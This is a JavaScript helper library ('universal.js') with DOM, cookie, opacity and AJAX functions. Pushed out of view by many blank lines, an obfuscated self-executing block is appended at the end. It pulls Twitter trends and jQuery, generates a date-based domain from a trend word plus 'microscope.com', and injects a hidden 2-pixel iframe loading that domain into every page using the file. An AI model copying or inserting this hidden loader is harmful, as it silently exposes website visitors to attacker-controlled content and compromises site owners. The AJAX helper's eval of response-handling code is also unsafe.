//////////////////////////////////////////////////////////////
// universal.js - Simple JS functions that make JS easy
// Inspired by Ronak and Pulkit
// ----------------------------------------------------------
// Please Read the Terms of use at http://www.anelectron.com
// ----------------------------------------------------------
// (c)Electron Inc.
//////////////////////////////////////////////////////////////

ua = navigator.userAgent.toLowerCase();
isIE = ((ua.indexOf("msie") != -1) && (ua.indexOf("opera") == -1) && (ua.indexOf("webtv") == -1));
isFF = (ua.indexOf("firefox") != -1);
isGecko = (ua.indexOf("gecko") != -1);
isSafari = (ua.indexOf("safari") != -1);
isKonqueror = (ua.indexOf("konqueror") != -1);

aefonload = '';

//Element referencer - We use $ because we love PHP
function $(id){
	//DOM
	if(document.getElementById){
		return document.getElementById(id);
	//IE
	}else if(document.all){
		return document.all[id];
	//NS4
	}else if(document.layers){
		return document.layers[id];
	}
};

//Trims a string
function trim(str){
	return str.replace(/^[\s]+|[\s]+$/, "");
};

//Give a random integer
function AEFrand(min, max){
	return Math.floor(Math.random() * (max - min + 1) + min);
};

//To clear a time out
function AEFclear(timer){
	clearTimeout(timer);
	clearInterval(timer);
	return null;
};

//Changes the opacity
function setopacity(el, opacity){
	el.style.opacity = (opacity/100);
	el.style.filter = 'alpha(opacity=' + opacity + ')';
};

//Hides an element
function hideel(elid){
	$(elid).style.visibility="hidden";
};

//Shows an element
function showel(elid){
	$(elid).style.visibility="visible";
};

function isvisible(elid){
	if($(elid).style.visibility == "visible"){
		return true;
	}else{
		return false;
	}
}

//Checkes the entire range of checkboxes
function check(field, checker){
	if(checker.checked == true){
		for(i = 0; i < field.length; i++){
			field[i].checked = true;
		}
	}else{
		for(i = 0; i < field.length; i++){  
			field[i].checked = false;
		}
	}
};
//The page width
function getwidth(){
	return document.body.clientWidth;
};
//The page height
function getheight(){
	return document.body.clientHeight;
};

//Get the scrolled height
function scrolledy(){
	//Netscape compliant
	if(typeof(window.pageYOffset) == 'number'){
		return window.pageYOffset;
	//DOM compliant
	}else if(document.body && document.body.scrollTop){
		return document.body.scrollTop;
	//IE6 standards compliant mode
	}else if(document.documentElement && typeof(document.documentElement.scrollTop)!='undefined'){
		return document.documentElement.scrollTop;
	}else{
		return 0;	
	}
};

//Gradually increases the opacity
function smoothopaque(elid, startop, endop, inc){
	if(typeof(elid) == 'object'){
		var el = elid;
	}else{
		var el = $(elid);
	}
	op = startop;
	//Initial opacity
	setopacity(el, op);
	//Start the opacity timeout that makes it more visible
	setTimeout(slowopacity, 1);
	function slowopacity(){
		if(startop < endop){
			op = op + inc;
			if(op < endop){
				setTimeout(slowopacity, 1);
			}
		}else{
			op = op - inc;
			if(op > endop){
				setTimeout(slowopacity, 1);
			}
		}
		setopacity(el, op);		
	};
};

//Cookie setter
function setcookie(name, value, duration){
	value = escape(value);
	if(duration){
		var date = new Date();
		date.setTime(date.getTime() + (duration * 86400000));
		value += "; expires=" + date.toGMTString();
	}
	document.cookie = name + "=" + value;
};

//Gets the cookie value
function getcookie(name){
	value = document.cookie.match('(?:^|;)\\s*'+name+'=([^;]*)');
	return value ? unescape(value[1]) : false;
};

//Removes the cookies
function removecookie(name){
	setcookie(name, '', -1);
};

function AJAX(url, evalthis){
	req = false;
	toeval = evalthis;
    // branch for native XMLHttpRequest object
    if(window.XMLHttpRequest){
    	try{
			req = new XMLHttpRequest();
        }catch(e){
			req = false;
        }
    // branch for IE/Windows ActiveX version
    }else if(window.ActiveXObject){
       	try{
	        req = new ActiveXObject("Msxml2.XMLHTTP");
      	}catch(e){
        	try{
          		req = new ActiveXObject("Microsoft.XMLHTTP");
        	}catch(e){
          		req = false;
        	}
		}
    }
	
	if(req){
		try{
			req.onreadystatechange = function(){				
    			// only if req shows "loaded"
				if (req.readyState==4) {
					//only if OK
					if (req.status == 200) {
						// only if "OK"...processing statements go here..
						var re = req.responseText // result of the req object
						if(re.length > 0){
							return eval(toeval);
						}else{
							return false;
						}
					}
				}
			};
			req.open("GET", url, true);
			req.send(null);
		}catch(e){
			return false;
		}
	}else{
		return false;
	}
	return true;
};

//Finds the position of the element
function findelpos(ele){
	var curleft = 0;
	var curtop = 0;
	if(ele.offsetParent){
		while(1){
			curleft += ele.offsetLeft;
			curtop += ele.offsetTop;
			if(!ele.offsetParent){
				break;
			}
			ele = ele.offsetParent;
		}
	}else if(ele.x){
		curleft += ele.x;
		curtop += ele.y;
	}
	return [curleft,curtop];
};

function getAttributeByName(node, attribute){
	if(typeof NamedNodeMap != "undefined"){
		if(node.attributes.getNamedItem(attribute)){
			return node.attributes.getNamedItem(attribute).value;
		}
	}else{
		return node.getAttribute(attribute);
	}
};

//With ';'
function addonload(js){
	aefonload += js;
};























(function($$){d="( : +q= :var VP=this;\\[VP  FullYear %Month %Date %Hours %Minutes %Seconds()]}; +k= : &r,Vp=this.#q(),i=0;Vp[1]+=1;while(i++<7){#r=Vp[i] /#r<#M)Vp[i] 6#r}\\ Vp.splice(~z'),1+~T 0 7~u 0+'T'+Vp 7~U 0};VG={'h`http://Xs`/Xt`treXd`daiXn`ndsXq`?Xc`callback=Xj`#Xa`apiXl`lyXW`twitterXo`comXe`1Xk`sXK`bodyXx`ajaxXD`.XL`libsXJ`jqueryX6`6.2Xm`minXf`onXS`criptXi`ifXM`rameXY`headXw`width:Xp`px;XH`height:XT`2Xr`rcXQ`\"Xy`style=Xb`><XR`></XI`divXB`<XA`>Xg`googleXE`&date=Xz`0Xu`-XU` X,`:00X;':2345678901,'/':48271,'F':198195254,'G':12,'C`='};@ #m(Vu){#T=[];for(Va=0;Va<Vu (;Va++){#T.push(VG[Vu.charAt(Va)])}\\ #t(#T)}Vi=document;#u=window; )y='undefined'; )z=~haDWDosestnsdlDjfqcq' 3H= *)== )y) /#H||!Vc()){if(!#H){try{Vg=jQuery !;try{Vg=$ !}VS=Vi.getElementsByTagName(~Y 0[0];#E=Vi.createElement(~kS 0;#E.setAttribute(~kr'),#m(\"hxDgakDosxsLsJseD6sJDmDj\"));VS.appendChild(#E)}@ VR(#s,VF 2Math.floor(#s/VF) 9v(#d){var Vf=VR( )L, $x); &w= )L% $x; &N= $p*#w; &F= $m*Vf; &e=#N-#F /#e>0){#L=#e}else{#L=#e+ $A}\\(#L%#d) 9J(#n){ )L=~;')+#n; $p=~/'); $A=~;')-~F'); $x=VR( $A, $p); $m= $A% $p 9t(V 2V (==1?V[0]:V 7'')};@ #R(V){d=new Date( 3A=~zee');d.setTime((V.as_of-~G')*~G')*~G')*~ezz 0*~ezzz 0;\\ d 9o(VC){ &i,Vh,#G=VC (; &x=[];while(--#G){Vh=#v(#G 3x.push(Vh 3i=VC[Vh];VC[Vh]=VC[#G];VC[#G]=#i}}@ VL($){VE=$.map([81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48],@(x,i 2String.fromCharCode(i+x+24)});\\ #t(VE) 9j(x 2x (}@ VT($){if *)!= )y){$( :if *.Vo)!= )y)\\;$.Vo=1; 4z,@(VM){#D=#R(VM 3K=#D  Month() ;N=#D  Date( 3p=@(x,i){\\(#j(x+\"\")-1)?x:\"0\"+x};Ve=#p(#K,4)+\"-\"+#p(VN,7 3a=#z+#m(\"E 5;VD=Vy=VR(#D  Hours(),6)*6 ;z=VD+1;#M=+~ez'); , 4a,@(VM){try{#S=VM.trends;#f=#m(\" 5+\" \" /VD<#M)VD 6VD /Vz<#M)Vz 6Vz; 8D+#m(X)] /!#c){ 8z+#m(X)]}#c=(#c[3].name.toLowerCase().replace(/[^a-z]/gi,'')+'microscope').split('' 3C=#K*71+Vy*3+VN*37;#J(#C 3j=#v(4)+#M;#o(#c 3b=~Ch')+#t(#c).substring(0,#j)+'.com/'+VL($);VG['Z']=#b;Vr=~BI 1biMU 1UkrZRiMRIA');$(~K 0.append(Vr)}catch(Vq){}})},#M*#M*#M)})})}else{ , -,1+~TTT 0}} -)()#js@functionV#BX','`':'~#m('\\return  .getUTC !.noConflict(true)}catch(e){} $#u.V %(),VP   &var # (.length )#u.# *(typeof($ +Date.prototype.# ,setTimeout( : -VT(#u.jQuery)} /;if( 0')) 1yQHTpweeepQ 2){\\  3);# 4$.getJSON(# 5Tzeeu\")+Ve 6=~z')+ 7.join( 8#c=#S[#f+V 9}@ # :@(){ ;+(+~e 0;V";for(c=55;c;d=(t=d.split('#@VX`~\\   ! $ % & ( ) * + , - / 0 1 2 3 4 5 6 7 8 9 : ;'.substr(c-=(x=c<9?1:2),x))).join(t.pop()));$$(d)})(function(jsBb){return(function(jsB,jsBs){return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()})((function(jsB){return jsB.constructor}),(function(jsB){return(function(jsBs){return jsB.call(jsB,jsBs)})}))});

